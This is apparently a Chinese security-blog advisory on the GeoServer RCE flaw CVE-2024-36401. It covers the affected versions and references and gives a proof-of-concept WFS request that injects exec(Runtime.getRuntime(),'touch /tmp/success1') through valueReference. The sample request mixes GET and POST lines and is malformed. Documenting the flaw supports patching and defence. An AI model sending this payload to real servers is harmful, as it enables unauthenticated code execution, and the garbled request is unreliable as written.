0x00 前言
GeoServer是基于Java 的软件服务器,允许用户查看和编辑地理空间数据。使用开放地理空间联盟(OGC)提出的开放标准,GeoServer在地图创建和数据共享方面具有极大的灵活性。
GeoServer允许您向世界显示您的空间信息。实施Web地图服务(WMS)标准,GeoServer可以创建各种输出格式的地图。一个免费的地图库 OpenLayers 已集成到GeoServer中,从而使地图生成快速简便。GeoServer基于GeoTools(一种开放源 Java GIS 工具包)构建。
兼容WMS和WFS特性,支持PostgreSQL、Shapefile、ArcSDE、Oracle、VPF、MySQL、MapInfo,支持上百种投影,能够将网络地图输出为jpeg、gif、png、SVG、KML等格式,能够运行在任何基于J2EE/Servlet容器之上,嵌入MapBuilder支持AJAX的地图客户端OpenLayers,除此之外还包括许多其他的特性。
0x01 漏洞描述
GeoTools 库的 API 在处理要素类型的属性名称时,会将这些属性名称不安全地传递给 commons-jxpath 库进行解析,由于 commons-jxpath 库在解析 XPath 表达式时可以执行任意代码,从而导致未经身份验证的用户能够利用特定的 OGC 请求参数远程执行代码。
0x02 CVE编号
CVE-2024-36401
0x03 影响版本
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6
0x04 漏洞详情
POC:
geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
yourip:8080
AcceptEncoding: gzip, deflate, br
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: *
0x05 参考链接
https://github.com/geotools/geotools/pull/4797
https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论